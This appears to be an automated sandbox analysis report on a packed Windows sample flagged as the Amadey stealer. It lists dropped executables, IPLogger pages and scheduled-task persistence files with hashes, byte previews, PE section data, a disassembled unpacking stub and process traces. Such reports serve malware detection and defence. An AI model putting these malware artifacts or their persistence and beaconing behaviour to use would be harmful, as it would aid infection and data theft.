SSDEEP:	196608:91OaXf1Vgw0Q2GekhBTUpKiTOZ5FrrOhU+3:3OaXf1Gwbek/QKis5FO33
MD5:	A63018CC078F57C640AC2EC8ED84DEAD
SHA1:	1F5C17894A755114527E92304F4A74195C48031D
SHA-256:	41D01D8FC610B6CEB17687C58973EE8F6A7BBDC1EB6DEB19297E3F4C4C62B558
SHA-512:	A42F522745BBE8B36EA60D7688A713BCE89DF2F7B0F5C7AD7B32BC43989FCA71E00D817692263EA4004AD6BE23E64DD9D3D2F1DFBE7B5038CF4B79B7064A9864
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\ppcQqLgPI8Dyy7YykX33fm5x.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406136
Entropy (8bit):	7.976287950479779
Encrypted:	false
SSDEEP:	98304:xjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/E6:xIS769aql4v/ahlHt2c0v7pgQo3
MD5:	AB07F9804DD13FC897A07EB65E58166A
SHA1:	2BAE9148D763297A7C83F5211DBD3623DFDC94C1
SHA-256:	8DCC360090EA80EE31CD3CCD79CD0177CC998D9B06F06A6240CC4E099A1EBB74
SHA-512:	9E46D7C25BD36E60A7B71837C276857C5971DA2912D37E26DC9690F62E55FC8532EE84B465D161D82CF22045E3E13E22B1C2DF4CB0BB19C01A459001CA898B1E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C.x............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\qPQ3lJ1fN9DRgfiXtyMpf1ll.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	326656
Entropy (8bit):	6.704045744410397
Encrypted:	false
SSDEEP:	3072:uJNgSgE68pOq15/QN1cV+exuCNT0XLeaU2eAoX4QwqnoBm9sZ2gfg2eX15CFusKP:UnN15YgV27It/4QwkoBm9Vg5m1GK0
MD5:	FECBBAC6C0B95A95776F29BDAA57C6D5
SHA1:	DC1B7F093F0FCEC1502916F2F248ECB5916F15CC
SHA-256:	83765226ABB0423196C083BC6B6FB5E8EA2D078B4C885165FEC1401ACB581695
SHA-512:	1B1D573930B2FE99B91A327DFAE23C14536A29A4E71898E77D6B8697B11A521EE07F4032F5F26ABB1DB28BBF6E6D198599C68ABAD984B6C6C15C7EFD1EA9AFCF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....Zd.....................\|`......A....... ....@...........................a......'.........................................<....._. ............................!..8............................y..@............ ..x............................text............................... ..`.rdata..<m... ...n..................@..@.data.....]......n...~..............@....rsrc... ....._.....................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\qhzSo7WKfB79QVVeIp5fAbeL.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7462
Entropy (8bit):	5.420482116403958
Encrypted:	false
SSDEEP:	192:5LP+u+v13xV1cSHYu+zogDLIIUObDz5p7KoxSR1yz:5D+hv13T1FH0fHIIPD9xKu
MD5:	77F762F953163D7639DFF697104E1470
SHA1:	ADE9FFF9FFC2D587D50C636C28E4CD8DD99548D3
SHA-256:	D9E15BB8027FF52D6D8D4E294C0D690F4BBF9EF3ABC6001F69DCF08896FBD4EA
SHA-512:	D9041D02AACA5F06A0F82111486DF1D58DF3BE7F42778C127CCC53B2E1804C57B42B263CC607D70E5240518280C7078E066C07DEC2EA32EC13FB86AA0D4CB499
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="shortener, iplogger, shortlink, url, domain" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="" />..<meta property="og:description" content="" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="og:url" content="https://yip.su/R

C:\Users\user\Pictures\r5kIpAOOvnafOvgnH4OtxIFK.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7462
Entropy (8bit):	5.420482116403958
Encrypted:	false
SSDEEP:	192:5LP+u+v13xV1cSHYu+zogDLIIUObDz5p7KoxSR1yz:5D+hv13T1FH0fHIIPD9xKu
MD5:	77F762F953163D7639DFF697104E1470
SHA1:	ADE9FFF9FFC2D587D50C636C28E4CD8DD99548D3
SHA-256:	D9E15BB8027FF52D6D8D4E294C0D690F4BBF9EF3ABC6001F69DCF08896FBD4EA
SHA-512:	D9041D02AACA5F06A0F82111486DF1D58DF3BE7F42778C127CCC53B2E1804C57B42B263CC607D70E5240518280C7078E066C07DEC2EA32EC13FB86AA0D4CB499
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="shortener, iplogger, shortlink, url, domain" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="" />..<meta property="og:description" content="" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="og:url" content="https://yip.su/R

C:\Users\user\Pictures\rVg8HtIzXa4xhJHL7Pn8A6d2.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	473601
Entropy (8bit):	7.255805140799215
Encrypted:	false
SSDEEP:	6144:a7ChA4VgoGhrVNWUovmcfVL520yANcFlI22in1en/S3j4iWo:a72A4VgEvmcH9yKCpM/e4iWo
MD5:	F6DFD7F39EF9EEF9094A36B574ADFA5E
SHA1:	B57E4E7B8D0D1E9BC9238D79A7D7B7536812CC7B
SHA-256:	1E0BFF105B6B55998E1B569CC2A9AD5A2792D8FC7F020630DEAE401000F510F0
SHA-512:	5258C4E3A4952A3F09C0BB44D07CA237071BF1BABB2D2B4D5B54966E4CB7FA87FE309546775E2D2A0B54EA31B8F5F4FBA189265CD6AE715EB9127EE69D4FEAA6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L....E.d......................b......A....... ....@...........................c.....7..........................................<.....a..............................!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data...H%`..........~..............@....rsrc.........a......(..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\s0yoB0FX6GRQugk063ujbi4o.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7462
Entropy (8bit):	5.420482116403958
Encrypted:	false
SSDEEP:	192:5LP+u+v13xV1cSHYu+zogDLIIUObDz5p7KoxSR1yz:5D+hv13T1FH0fHIIPD9xKu
MD5:	77F762F953163D7639DFF697104E1470
SHA1:	ADE9FFF9FFC2D587D50C636C28E4CD8DD99548D3
SHA-256:	D9E15BB8027FF52D6D8D4E294C0D690F4BBF9EF3ABC6001F69DCF08896FBD4EA
SHA-512:	D9041D02AACA5F06A0F82111486DF1D58DF3BE7F42778C127CCC53B2E1804C57B42B263CC607D70E5240518280C7078E066C07DEC2EA32EC13FB86AA0D4CB499
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="shortener, iplogger, shortlink, url, domain" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="" />..<meta property="og:description" content="" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="og:url" content="https://yip.su/R

C:\Users\user\Pictures\s8YO7ScTlLADC9Vt6wr10aY4.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS-DOS executable PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	2437912
Entropy (8bit):	7.913512358164593
Encrypted:	false
SSDEEP:	49152:25HOOeI0PrBsku297659/XQR70jEUHD5Gl09XCWKYhNj:25rebqkXe5ZQRA/FGl0Z3KKj
MD5:	F6A0D4349D9A0CEAB75A7BAF7285F2A9
SHA1:	9ABFF945F6987830AA0A1E2FB798080DC91011D6
SHA-256:	B48255236A72B0D96FD25F42BE98CFB1694AA7D4824EE46C2E3B0DB397B7FDDF
SHA-512:	BB701C5BF26A9DEBDCB325DE902BC4A254EFBBF737129BBA86D19A1207E647F54BA1D2056A68ED39B22BBD14BB50D2125C9D82FFDB7337806975FCBA6A1B4C9D
Malicious:	true
Preview:	MZ@.....................................!..L.!Win64 .EXE...$@...PE..d.....)f.........."....'.....J........i........@......................................%... ..................................................`.......'.......h.......$..a...................................p.(................................................... ..'............................. ......'..........................rsrc.........'.....................@....idata.......`......X..............@....tls.........p......Z...................themida..>...*......\..............`....boot....v....i..v...\..............`..`........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\tAKreBGDuozTwXSZfhU7cFT3.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6607314
Entropy (8bit):	7.9960039713545585
Encrypted:	true
SSDEEP:	196608:91OaXf1Vgw0Q2GekhBTUpKiTOZ5FrrOhU+3:3OaXf1Gwbek/QKis5FO33
MD5:	A63018CC078F57C640AC2EC8ED84DEAD
SHA1:	1F5C17894A755114527E92304F4A74195C48031D
SHA-256:	41D01D8FC610B6CEB17687C58973EE8F6A7BBDC1EB6DEB19297E3F4C4C62B558
SHA-512:	A42F522745BBE8B36EA60D7688A713BCE89DF2F7B0F5C7AD7B32BC43989FCA71E00D817692263EA4004AD6BE23E64DD9D3D2F1DFBE7B5038CF4B79B7064A9864
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\v3efLAgS1BVue6uNuzFECLaH.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406144
Entropy (8bit):	7.976285875147776
Encrypted:	false
SSDEEP:	98304:pjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/EE:pIS769aql4v/ahlHt2c0v7pgQoZ
MD5:	26D8B57793A75CEC9D9265BF16ED905C
SHA1:	F427028D21A2A6406BBB98CFB53851C3EA534883
SHA-256:	3C8C36618E1EAA925CFA7E7ADC78D22D3440C5D2DF88DF55C50E6FA3F2E1FA9E
SHA-512:	957704A0FB5877E43C96ADA9FAB01E3A193CFB0D79B4DFDE093AAE6432206477F7D8247D0A525AFCFEE62742056AAF4CF6E623DDBFCBE6A750B36F42051CC795
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C..............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\v6zcDFD3cRDhmr34kNKDn8tX.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS-DOS executable PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	2437912
Entropy (8bit):	7.913512358164593
Encrypted:	false
SSDEEP:	49152:25HOOeI0PrBsku297659/XQR70jEUHD5Gl09XCWKYhNj:25rebqkXe5ZQRA/FGl0Z3KKj
MD5:	F6A0D4349D9A0CEAB75A7BAF7285F2A9
SHA1:	9ABFF945F6987830AA0A1E2FB798080DC91011D6
SHA-256:	B48255236A72B0D96FD25F42BE98CFB1694AA7D4824EE46C2E3B0DB397B7FDDF
SHA-512:	BB701C5BF26A9DEBDCB325DE902BC4A254EFBBF737129BBA86D19A1207E647F54BA1D2056A68ED39B22BBD14BB50D2125C9D82FFDB7337806975FCBA6A1B4C9D
Malicious:	true
Preview:	MZ@.....................................!..L.!Win64 .EXE...$@...PE..d.....)f.........."....'.....J........i........@......................................%... ..................................................`.......'.......h.......$..a...................................p.(................................................... ..'............................. ......'..........................rsrc.........'.....................@....idata.......`......X..............@....tls.........p......Z...................themida..>...*......\..............`....boot....v....i..v...\..............`..`........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\zWIy5Pdf1kgq9YulaqIKrGGy.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	473601
Entropy (8bit):	7.255805140799215
Encrypted:	false
SSDEEP:	6144:a7ChA4VgoGhrVNWUovmcfVL520yANcFlI22in1en/S3j4iWo:a72A4VgEvmcH9yKCpM/e4iWo
MD5:	F6DFD7F39EF9EEF9094A36B574ADFA5E
SHA1:	B57E4E7B8D0D1E9BC9238D79A7D7B7536812CC7B
SHA-256:	1E0BFF105B6B55998E1B569CC2A9AD5A2792D8FC7F020630DEAE401000F510F0
SHA-512:	5258C4E3A4952A3F09C0BB44D07CA237071BF1BABB2D2B4D5B54966E4CB7FA87FE309546775E2D2A0B54EA31B8F5F4FBA189265CD6AE715EB9127EE69D4FEAA6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L....E.d......................b......A....... ....@...........................c.....7..........................................<.....a..............................!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data...H%`..........~..............@....rsrc.........a......(..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\explorha.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000019001\amert.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.383193846131428
Encrypted:	false
SSDEEP:	6:jjRtX4RKUEZ+lX1y6y2l+lRdtPjgsW2YRZuy0lPhlNqut0:jjRZ4RKQ1y6NkDHjzvYRQVpqut0
MD5:	071B6C753E0D711EEA32E6FAED0BBEBE
SHA1:	90C68E1258E2873C63273BA7BA16D8C58D0FF232
SHA-256:	B94A57C1906FD66698F95BA5BD5B65733819C86FEB372B1924D648298CBDE28E
SHA-512:	2D1219B38E3F8E22CE0BEFA65C9B76F9CDFB2138B980CAC2A7CCCA40D48BA51BC4C038EFC1F20451E9194BBA0EA5BF49372BFFEBFE58826FFBBE59E9C221CC7D
Malicious:	false
Preview:	....x...Y..D....%C..F.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.0.9.f.d.8.5.1.a.4.f.\.e.x.p.l.o.r.h.a...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................5.@3P.........................

C:\Windows\Tasks\explorta.job

Download File

Process:	C:\Users\user\Desktop\1CMweaqlKp.exe
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.3765382772717647
Encrypted:	false
SSDEEP:	6:nG6lVX4RKUEZ+lX1dMlylRdtPjgsW2YRZuy0lPhlkdt0:nR4RKQ12oDHjzvYRQVot0
MD5:	3D665E33943D4BA084D7A0223416AEA2
SHA1:	7C6D8975C0691F147FF9380F8590881AFCF8B100
SHA-256:	4B07E380F883EB63A9D9954D5A6E000936C38A487B5533AFD767D27602BD896C
SHA-512:	4DF4212E7086563C5E6D893C063A0A6CDF1DC851E1E7885DEAD141A7E7149893E4CE7FDE35455D66888D4E9F227956A4E8BBE43AB60ECE804BF93675A2A12680
Malicious:	false
Preview:	....D..i.L.K..-.;rc.F.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.5.4.5.4.e.6.f.0.6.2.\.e.x.p.l.o.r.t.a...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................4.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.95023297552325
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	1CMweaqlKp.exe
File size:	1'793'040 bytes
MD5:	8a19d654cb37e4e51be045acaf097e74
SHA1:	7a3a86421a806d2ba66ae84e86305847c8b1f766
SHA256:	59b3af1a244a082219116ed9b496de99236b01ae42df75bf4211ed2b7069bc4b
SHA512:	df54f9f61b5c9e9a79edf17732b6bb630d945f813f00579b79f021735d3f3c6802a463d9d6f41a75d3703a86a0844b9f587c3961e44ae53045ddb25b67438681
SSDEEP:	49152:mQKkQGW5tuFxaLTdYZWakRk43qB75IzCed:mvtH5AFYMWa5WqBSt
TLSH:	F18533171F962F1FE7AD95311D4B8107E7232B022B9995920C3F1A09EB8BF5ED76028D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d.Y@...@...@....m..Q....m.......h..R....h..W....h..5....m..U....m..S...@........k..A....k1.A....k..A...Rich@...........PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x7c6058
Entrypoint Section:	.boot
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66264F79 [Mon Apr 22 11:52:25 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	9dfe5757453ac4b6ed82bf0cf7ab0266

Entrypoint Preview

Instruction
call 00007F0D744FF1F0h
push ebx
mov ebx, esp
push ebx
mov esi, dword ptr [ebx+08h]
mov edi, dword ptr [ebx+10h]
cld
mov dl, 80h
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
mov ebx, 00000002h
add dl, dl
jne 00007F0D744FF0A7h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007F0D744FF08Ch
add dl, dl
jne 00007F0D744FF0A7h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007F0D744FF0F3h
xor eax, eax
add dl, dl
jne 00007F0D744FF0A7h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jnc 00007F0D744FF187h
add dl, dl
jne 00007F0D744FF0A7h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F0D744FF0A7h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F0D744FF0A7h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F0D744FF0A7h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
je 00007F0D744FF0AAh
push edi
mov eax, eax
sub edi, eax
mov al, byte ptr [edi]
pop edi
mov byte ptr [edi], al
inc edi
mov ebx, 00000002h
jmp 00007F0D744FF03Bh
mov eax, 00000001h
add dl, dl
jne 00007F0D744FF0A7h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 00007F0D744FF0A7h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jc 00007F0D744FF08Ch
sub eax, ebx
mov ebx, 00000001h
jne 00007F0D744FF0CAh
mov ecx, 00000001h
add dl, dl
jne 00007F0D744FF0A7h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 00007F0D744FF0A7h
mov dl, byte ptr [esi]
inc esi
adc dl, dl
jc 00007F0D744FF08Ch
push esi
mov esi, edi
sub esi, ebp

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7109f	0xc0	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x73000	0x7e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x54b000	0x10	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x72018	0x18	.tls
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x4e44a	0x22c00	a5e751a92a1947726cc67adfef4a0373	False	0.9998594874100719	data	7.9986661792698115	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
	0x50000	0x11c4e	0x5600	85b290aba621320b3a049fa51378c3dd	False	0.9919149709302325	data	7.976162209855725	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
	0x62000	0x45a4	0x800	2a3e8ea4dc9277bcd556451c4ee91650	False	1.00537109375	data	7.830994967960864	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x67000	0x1e0	0x200	1b480a6bcbebe55da620b713671dc6c8	False	0.888671875	data	6.653586874235383	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
	0x68000	0x4bc4	0x3000	20c37b764ed7c0c6e76f0ba67ca90a84	False	0.98486328125	data	7.942117552678557	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.vm_sec	0x6d000	0x4000	0x4000	6cee6e2c9038a4e137fc8ad2cb72b7cb	False	0.161376953125	data	2.8770965350351982	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x71000	0x1000	0x200	f9eef23d1138690aeba265ff5448dfca	False	0.3828125	data	2.863715215086496	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x72000	0x1000	0x200	f6363c53ce07d09b61b63b66eb8cf6ba	False	0.056640625	data	0.18120187678200297	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x73000	0x1000	0x800	87acbb71b21ab4ae100181a4447d8be5	False	0.4111328125	data	5.44897069280421	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.themida	0x74000	0x352000	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.boot	0x3c6000	0x185000	0x185000	164450c06cec20e88bfe7678fc794b45	False	0.9902337473891388	data	7.955810157618839	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0x54b000	0x1000	0x10	e9e9559f85469b458c40ee7aae3a2776	False	1.5	GLS_BINARY_LSB_FIRST	2.349601752714581	IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x73078	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727
RT_MANIFEST	0x73208	0x5d7	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.43478260869565216

Imports

DLL	Import
kernel32.dll	GetModuleHandleA
ADVAPI32.dll	RegCloseKey
SHELL32.dll	SHGetFolderPathA
ole32.dll	CoUninitialize
WININET.dll	HttpOpenRequestA
WS2_32.dll	closesocket

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Target ID:	0
Start time:	05:51:51
Start date:	04/05/2024
Path:	C:\Users\user\Desktop\1CMweaqlKp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\1CMweaqlKp.exe"
Imagebase:	0x730000
File size:	1'793'040 bytes
MD5 hash:	8A19D654CB37E4E51BE045ACAF097E74
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1626992485.00000000014C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1663899661.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:51:54
Start date:	04/05/2024
Path:	C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe"
Imagebase:	0x700000
File size:	1'793'040 bytes
MD5 hash:	8A19D654CB37E4E51BE045ACAF097E74
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1663910421.0000000000C90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	05:51:56
Start date:	04/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://%3cfnc1%3e(79)/
Imagebase:	0x7ff76e190000
